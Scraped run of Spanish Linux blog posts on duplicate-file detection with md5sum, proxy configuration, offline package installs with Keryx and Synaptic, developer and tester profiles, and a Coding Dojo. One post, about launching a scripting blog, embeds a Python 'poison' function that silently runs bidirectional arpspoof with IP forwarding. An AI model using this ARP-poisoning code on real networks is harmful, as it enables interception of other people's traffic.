El día de hoy me dio un rato por ordenar mis archivos, antes de ir y comenzar la jornada, primero se me vino a la mente hacer algo desde la consola que me permita mostrar los archivos repetidos,  lo primero que se me ocurrio es usar la suma MD5 el hash. Lo que hice fue armar lo siguiente.


md5sum *| sort |uniq -w33 -D



Paso a explicar como funciona md5sum es para generar la suma md5 de cada archivo dentro de la carpeta con  sort llegamos a agrupar los ficheros repetidos con el md5 repetido y uniq -w33 -D comparamos solo los hash MD5.

Por comodidad me cree un alias y comenzó la prueba.

Colisión MD5

Colisión MD5 de 2 archivos vacios.

Lo que puede preocupar es que suceda una colisión MD5 entre dos archivos como es este caso el primer tema es Melendi - Calle Pantomima el segundo es otro completamente distinto, procedí a revisar ambos y verificar, y si efectivamente eran lo mismo no contenian nada por lo tanto paso pero viéndolo del lado  positivo que suceda una colisión puede ser algo muy extraño.



Archivos semejantes
Procedo con la verificacion de los 2 archivos y correctamente tenia 2 copias ¬¬°


Ambos son lo mismo 

Otro Ejemplo
Bueno seria mas que bien que la búsqueda sea recursiva mandar como path una carpeta y que lo haga aver que se me ocurre y hago algo o alguien me ayuda.. jejejej

Mañana hare el otro post ya que con fdupes llega a realizar este proceso mas rapido.


Leer Mas



Bueno el dia de hoy estaba con una pelea, xD en la virtual nos dieron para conectarnos mediante un proxy y bueno dejo de funcionar. ¬¬° ni haciendolo por nat, bridge nada de nada, bueno me puse manos a la obra, y a configurar.




Lo primero que hice fue ir a mi querida terminal y hacer lo siguiente.

export http_proxy=http://proxy.sniferl4bs.com:8080

En el caso que sea un proxy con user y pass lo que tenemos que hacer es lo siguiente

export http_proxy=http://usuario:contraseña@proxy:puerto 


Y listo =) asunto solucionado, nos molesta en algo bueno nada feliz navegando hasta que se necesita hacer una descarga, de algun paquete para instalar y bueno sin ningun problema el problema llega al reiniciar volver a realizar el proceso, asi que como siempre tengo que hacer esa conexion por el mismo proxy, lo que se hace es lo siguiente.

Tenemos que  que editar el archivo /etc/bash.bashrc poner al final las siguientes lineas:

Si el proxy no tiene user y password:

#Proxy 
export http_proxy=http://servidor:puerto/ 
export ftp_proxy=http://servidor:puerto/

Si tuviera

#Proxy 
export http_proxy=http://username:password@servidor:puerto/ 
export ftp_proxy=http://username:password@servidor:puerto/


Luego procedemos a crear el archivo /etc/apt/apt.conf.d/proxy  y agregamos las siguientes lineas:

Con user y password.

Acquire::http::proxy "http://username:password@servidor:puerto/";
Acquire::ftp::proxy "http://username:password@servidor:puerto/";

Sin ello.

Acquire::http::proxy "http://servidor:puerto/";
Acquire::ftp::proxy "http://servidor:puerto/";

Y listo podremos navegar, tranquilamente depende el navegador que usemos y realizamos la configuración respectiva.
Leer Mas
Buen dia no dormi nada, jejejej me puse a trabajar con la pc toda la noche y en si la madrugada investigando sobre cloud computing, y bueno escuchando musica, aparte de armar mis alias, bueno configurar correctamente, para trabajar mas rapido :), andaba renegando el tener que incrementar el volumen, bien sea via consola o hacerlo manualmente asi que me puse a revisar un poco los paquetes de XFCE  asi que encontre un paquetito que nos hace la vida mas facil xfce4-volumed

Con esto nos permite poner en pausa, adelantar la proxima cancion la anterior y demas :D



Lo que hacemos es instalar:

sudo apt-get install xfce4-volumed

Y listo lo tenemos instalado, asi que ahora a dominar el mundo ya hay un avanze mas.

Saludos
Leer Mas
Buenos dias hoy es Dormingo, ayer estaba probando un script para @GeekScripting y al hacerlo correr tuve un gran problema :(, no me corria, o mejor dicho si corría pero no sacaba el resultado deseado, asi que me puse a revisar el codigo y necesitaba instalar,  propiamente el Script es el Convert2Avi que anoche lo postee  los paquetes que me faltaban eran:


  •  lsdvd 
  •  mplayer
  •  mencoder
Asi que me puse en modo intento de programador, para evitar que alguien se ponga a revisar que le falta aun mas los que recien comienzan en esto o bien para cuando ande usandolo en otro host que no sea el mio poder usarlo sin ningun problema, como son varios los paqutes y de echo que no me recordare cual es cual, lo que hice fue hacer uso del Script mencionado y poner en la cabecera lo siguiente:

if [ ! -x /usr/bin/mencoder  ];then
 echo "Tienes que tener instalado mencoder, para el correcto funcionamiento del Script."
fi
#Aquí viene el codigo


Dandonos como resultado lo siguiente:


Algo torpe desde mi punto de vista, pero voy comenzando con #Bash poco a poco veremos que mas sale, si alguien tiene otra manera, de hacerlo mejor ayuda!!! asi aprendo


Leer Mas
Buenos dias, mejor dicho buenas madrugadas  dentro de menos de 8 horas en si 6 horas tengo ya que dirigirme a mi primer trabajo  bueno como sea xD, es un reto nuevo que tengo que afrontar  la verdad con cobardia jejej ya veremos como va, pero bueno Jose tu hablaste de conoscan a Geek Scripting y nos tiras con tu trabajo. Pero bueno que no puedo contarles?

Geek Scriptig es un proyecto que comenzó el dia de ayer 14 de Marzo junto con @WizardIP y mi persona la idea de este blog es el de poder concentrar, compartir scripts que sean de nuestra creación o bien de otros para poder simplificarnos la vida con la consola, ayudar a que el trabajo sea mas sencillo.

El blog es   el siguiente : Geek Scripting
EL twitter Oficial : @GeekScripting
Su pagina en el Facebook Geek Scripting

Espero les agrade este pequeño proyecto, y del mismo modo al fin pude implementar Geshi .. :D en el blog asi que ire actualizando las entradas, se ve bie no que opinan ?

def poison(iface,victim, gw):
  """ IP Forwarding """
  os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
  """ ARP cache poisoning, silent, in both directions """
  os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
  os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
  print("Envenenamiento de Cache ARP...")
Leer Mas
En el post de ayer explique una manera para descargar paquetes para luego poder instalar, en ubuntu y derivados (Bueno algunos) usando Keryx por si gustan ver el post esta aquí, estas dos entradas son porque preguntaron, como poder actualizar o instalar paquetes asi que se me ocurrio armarlas y poder indicar como se realiza

Abrimos el Gestor de paquetes Synaptic, lo podemos buscar en Sistema -> Administracion -> Gestor de Paquetes Synaptic o bien pulsar Alt+F2 y escribir “sudo synaptic” sin comillas.

Recargamos los paquetes con el boton Recargar, para asi tener los mas actualizados y tambien las actualizaciones mas recientes.


1.- RECARGAR


Posteriormente como nos muestra la imagen marcamos todas las actualizaciones que deseamos en mi caso ando con mi Ubuntu 10.10, tengo bloqueado actualizaciones del sistema operativo no quiero migrar a 11.04 ¬¬° ni pregunten porque ejejejej.


 Ahora viene generar  un script, el cual esto lo hacemos en Archivo seleccionar la opcion “Generar un script de descarga de paquetes”.


Luego lo guardamos y copiamos a una memoria USB.


El proximo paso es dirigirnos y poder hacer la descarga correspondiente si estamos en una pc con Linux solo damos doble click y el script generado comenzara a descargar. En otro caso si lo hacemos desde un Windows abirmos y copiamos cada enlace con algun gestor, o a mano y los bajamos.


Por ultimo abrimos Synaptic y en el menu Archivo seleccionamos la opcion “Anadir paquetes descargados”, saldra una pantalla en la que nos dirigiremos hacia la carpeta donde estan los paquetes que descargamos. seleccionamos abrir y comenzamos con la instalación



Espero que les sirva a mas de uno Saludos :D

Leer Mas
A quien no le paso esto tenemos una pc en casa sin tarjeta de red, o bien la portátil se le quemo, y solo tiene el wifi que va mil cosas que suceden, y va segun la situación de cada uno en esta oportunidad usaremos Keryx.

¿ Que es Keryx ?

Keryx es un software multiplataforma creado por Chris Oliver a través del cual se puede descargar software para las diferentes distribuciones basadas en GNU/Linux Debian que usan el gestor de paquetes APT, inicialmente se crea un perfil del equipo que se encuentra sin conexión con lo que Keryx recopila información del sistema como lo es la arquitectura, los paquetes con los que cuenta, y los repositorios oficiales, posteriormente en un equipo con conexión a internet (que puede correr bajo MS_Window$) se realiza la descarga de los paquetes.

Primero lo que hacemos es descargar, Keryx desde la web, para poder usarlo en Windows, cuando vamos a un cafe internet, y esta con windows o bien en la oficina  la casa de un amigo, una red abierta lo que hacemos es bajar dependiendo la plataforma:

                                                                                 ←Para Windows el primer link.                  Del mismo modo tenemos un .deb para descargar, en el caso de instalarlo.
Lo instalamos desde la terminal la cual prefiero hacerla mil veces con dpkg.



Luego lo tenemos instalado... desde el centro de Software



Para los que deseemos usar el source lo descomprimimos en una memoria y en linux lo tenemos en media:


/media/SNIFER/keryx/bin 
Y lo que hacemos es correr con python y Keryx de la siguiente manera:

$python keryx.py
Nota para Windows: Para poder usar en Windows tenemos que tener instalado Python y ademas de ello   PyQT y ya dentro de esto Keryxbin y ejecutamos Keryx.py con un simple doble click

y PyQT <> ),una vez instalados se dirige a ...keryxbin y allí se ejecta keryx.py con un doble click
Y tendremos la siguiente interfaz obviamente limpia me olvide sacar una de 0 




Ahora lo que hacemos es crear un proyecto nuevo seleccionamos la distribución


El proximo paso es dar en download poniendo un nombre al proyecto



 Le damos en download y listo buscara en los repositorios nos dara un listado de los paquete disponibles seleccionamos el paquete que deseemos bajar, obviamente si nos dice dependecias le damos que si, esta bajada es de un ubuntu 10.04.





 Keryx descarga los paquetes que se encontrarán en la carpeta ./keryx/data/downloads/packages para poder instalar luego en nuestra pc lo que hacemos es conectar la memoria en la pc y nos dirigimos a la carpeta descargada y procedemos a instalar:

 $sudo dpkg -i *.deb


Con esto haremos que instale todos los .deb y listo.


Espero que le sirva.
Leer Mas
Bueno ahora comenzamos, como el siguiente perfil el conocido destructor que destruye todo lo que realiza el Desarrollador es decir (romper códigos y encontrar bichos (bug's) o defectos del software evidentemente es mas facil que escribir código).


El acercamiento metódico y disciplinado al testeo de software requiere un esfuerzo tan grande como el del programador. De hecho, se dice que los mejores programadores fueron en algún momento los mejores testeadores y viceversa.

Las compañías grandes y maduras de hoy en día, reconocen al testeo de software como una profesión técnica en la ingeniería. A ellas les interesa involucrar a testeadores de software entrenados, desde una etapa temprana del proceso de desarrollo, para así construir un software de mejor calidad. En una sociedad de libre mercado, las
compañías que no aprecian el esfuerzo realizado por un buen testeador de software no se mantienen competitivas por mucho tiempo.


CARACTERÍSTICAS DEL TESTER
  • Exploradores.- No les asusta la aventura en situaciones desconocidas. Aman tener una nueva pieza de software, instalarla a su computador y ver qué pasa.
  • Solucionadores de problemas.- Los testeadores de software son buenos encontrando por qué algo no funciona bien, ellos solucionan “rompecabezas”.
  • Implacables.- Siempre siguen intentando. Ellos pueden ver un bicho que rápidamente se desvanece o es difícil de recrear. Más que desecharlo como si fuera una casualidad, ellos van a intentar toda manera posible de reproducirlo y aislarlo.
  • Creativos.- Testear lo obvio no es suciente para ellos, su trabajo es pensar creativamente para encontrar bichos.
  • Perfeccionistas.- Ellos luchan por la perfección, pero conscientes de que algunas cosas se vuelven inalcanzables,se acercan lo más que pueden.
  • Ejercen el buen juicio.- Necesitan tomar decisiones acerca de lo que van a testear, cuánto tiempo va a tomar y si lo que están buscando es un bicho o no.
  • Tácticos y diplomáticos.- Son los que siempre traen las malas noticias. Tienen que decirles a los programadores que “su bebé” está feo. Buenos testeadores de software saben cómo hacerlo de manera táctica y profesional, son siempre cautos.
  • Persuasivos.- Los testeadores encontrarán bichos que quizás no son lo sucientemente severos para ser arreglados. Pero ellos necesitan en algunas ocasiones insistir y demostrar que vale la pena arreglarlos, deben ser buenos argumentando, exponiendo con claridad sus razones.
Leer Mas

Las siguientes entradas en Snifer@L4b's  seran relacionadas a la rama de Ingeniería de Sistemas cuales son los perfiles dentro de la carrera o relacionadas a ella, asi que hoy hablaremos del Perfil de un Desarrollador, asi que comenzemos.


El desarrollador es una persona que puede describir usando un lenguaje de programación, un conjunto de tareas y/o actividades especícas para lograr un resultado/producto que pueda llevarse a cabo mecánicamente sin intervención humana.


No tiene que ser un cabezón como el amigo e ir acumulando en cada nivel del cerebro un nuevo lenguaje. 

El desarrollador tiene que recurrir al ingenio y creatividad para que los programas interactúen de forma natural con los seres humanos, también recurrir a la lógica y razonamiento abstracto para poder representar ordenadamente un conjunto de tareas, y finalmente a la experiencia para encontrar un balance entre los recursos computacionales y requerimientos de funcionalidad que son necesarios al construir un producto.

Adicionalmente, en entornos modernos de trabajo y debido a la complejidad de los productos actuales, el desarrollador forma parte de un grupo de trabajo (muchas veces multidisciplinario) más amplio. En este grupo, el desarrollador debe aportar y seguir coordinadamente las actividades de construcción del producto (el llamado proceso de desarrollo), aprendiendo a definir y usar canales de comunicación que permitan un trabajo
conjunto entre todos los miembros.

Un claro ejemplo de esto cuando tuve la experiencia del Coding Dojo.

CARACTERÍSTICAS DEL DESARROLLADOR

  • Pensamiento lógico.- El programador debe abstraer, resolver y simplicar problemas de manera lógica.
  • Interés por el orden.-  Tendrá muchas cosas que organizar, debe ser ordenado y sistemático con su trabajo.
  • Capacidad de atención y concentración.- Es importante que pueda concentrarse y cuidar cada detalle al momento de escribir código.
  • Mantenerse actualizado.- En el área tecnológica, las técnicas de programación cambian constantemente, es importante estar al día.

  • Manejar programación orientada a objetos.- Estar actualizado en lenguajes P.O.O.
  • Saber diagramar sus ideas.-  Si el programa en desarrollo es complejo, debe ser capaz de simplicar un problema en forma de diagrama, antes de ponerse a pelear con código de programación.
  • Conocimiento real de al menos un lenguaje de programación.- Existen varios lenguajes de programación yes importante que tenga dominio sobre alguno de ellos.

Bueno con esto terminamos el perfil de un Desarrollador, el que vendra sera de un Testing.

SALUDOS 


Fuente: FundacionJala
Leer Mas


Bueno andaba aburrido esperando que se instale Haskell, para terminar el proyecto que tenia guardado el compilador de Pseudocódigo que sacara en Pascal Java y C, el cual iran viendo ahora lo termine de programar en bruto como se diria no hize pruebas ni nada recien las hare xD jajajaj asi que encontre esta excelente noticia

Imagen de Udacity - curso de cómo crear un buscador en python
Hacer un curso gratuito con esta clase de profesionales no es algo que puede ocurrir todos los días. Es un gran curso del profesor David Evans y Sebastian Thrun que nos enseñaran paso a paso a crear un buscador estilo google en python.

En el curso nos encontramos Sergei Brin unos de los fundadores de Google.  


La duración del curso es de 7 semanas. Ya empezó el curso!!!




Lo bueno es ONLINE yo ya meti y aun tenemos cupos vamos que se acaban animate!!!




Construirás tu propio motor de búsqueda con un crawler y un sistema de rankings de las páginas. También vas a comprender algunos de los conceptos claves en la ciencia de la computación.


Temario:
  1. Semana 1: Cómo empezar: tu primer programa.
    • Extaer un enlace.
  2. Semana 2: Cómo repetir.
    • Encontrar todos los enlaces de una página.
  3. Semana 3: Cómo manejar los datos.
    • Crawling the web.
  4. Semana 4: Cómo resolver problemas.
    • Responder a consultas de búsqueda.
  5. Semana 5: Cómo ejecutar programas.
    • Haciendo las cosas más rápido.
  6. Semana 6: Cómo tener poder infinito.
    • Clasificar los resultados de búsqueda.
  7. Semana 7: A donde ir desde aquí.
    • Examen para evaluar lo aprendido.
No podes perder esta gran oportunidad de hacerlo.

Solo estan en la lección 2 asi que no estamos retrazados quien mas se une??? opinen veremos que sale..
El sitio oficial es Udacity.


Leer Mas
Bueno hace una semana tuve la grata experiencia de ir a la Fundación Jala para postularme a uno de los proyectos que realizan, y fui invitado al llegar nos presentaron una diapositiva mostrándonos la reglas del juego algo que me quede atontado cuando nombraron que la actividad se desarrollaria bajo las reglas de un Coding Dojo, usando TDD con pequeños pasos (Bueno TDD [Desarrollo Dirigido por Test]lo conocía por que use en el desarrollo de la Tesis, pero Coding Dojo ni sabia que existia)  que no hacer, como hacer y como trabajar.


La propuesta del ejercicio era la siguiente:

Se desea construir un programa que permita el manejo de correos electrónicos.

Bueno hasta ese punto todo tranquilo no vi problema alguno, lo cual se debia de cumplir en las iteraciones que se realiza en parte de TDD en dos etapas y cumplir las 9 reglas.


Pero WTF!!! cuales 9 reglas, eran las siguientes.


  1. Usar un solo nivel de anidación por método.
  2. No usar la palabra reservada else.
  3. Crear wrappers para las cadenas y para los tipos primitivos.
  4. Usar solo un punto (.) por línea.
  5. No abreviar los identificadores.
  6. Mantener todas las entidades pequeñas (no más de 50 líneas por clase).
  7. No usar clases con más de dos atributos.
  8. No usar colecciones de primera clase directamente. Crear wrappers de las clases de colección.
  9. No usar getters ni setteres.


Coding Dojo (道場) 




Coding Dojo - Agile Coaching
Ya que el motivo del post es mi acercamiento a Coding Dojo.


El Coding Dojo es una reunión de programadores formada con el objetivo de resolver un determinado desafío.


¿Que es "Dojo"?

Dojo es un término de origen japonés, mediante el cual se designa a los espacios destinados al aprendizaje, la meditación y la sabiduría. 
Por ello, el significadode Dojo, se refiere a la búsqueda de la perfección y de allí, es que se adopta el término de "Coding Dojo": Lugar que los programadores se reunen para alcanzar la perfección.
El coding Dojo duro 8 horas aproximadamente el trabajo se realiza entre parejas de a 2 un Navegador y un Conductor, mientras el resto de la audiencia colabora con los dos que estan trabajando el Navegador es el que programa Conductor explica  y ayuda con ideas con una rotacion de 5 a 10 minutos.
El trabajo en equipo de a dos dentro del Coding Dojo es conocido como Randori (Entrenamiento Libre.)
Puesto que la dificultad se me vino cuando comenzamos a dividirnos en dos grupos elegi C# a Java ¬¬° ni pregunten porque, ya que en TDD especifica hacer uso de Uni_Test me quede nuevamente WTF!!! y eso como se hace, yo use Pytest al trabajar con la tesis, honestamente lei el TDD todo lo tengo impreso mi biblia, pero ni por chiste hice caso a C#, me costo adecuarme, pero bueno sali del apuro en si ni se como ya que con logica lo tenia realizado pero no en el programa.

Una experiencia excelente, aprendi a trabajar en equipo, y conoci nuevos amigos.



Y honestamente me di cuenta que me falta mucho por aprender, y cada día tengo y debo de mejorar, por suerte el día de ayer me informaron que pase y lograre participar de la beca de Investigación me toca ir el Lunes para firmar y demas grajes del oficio.

Esta entrada mas que todo, es para compartir mi experiencia, y dar a conocer a todos lo que aprendi.





Leer Mas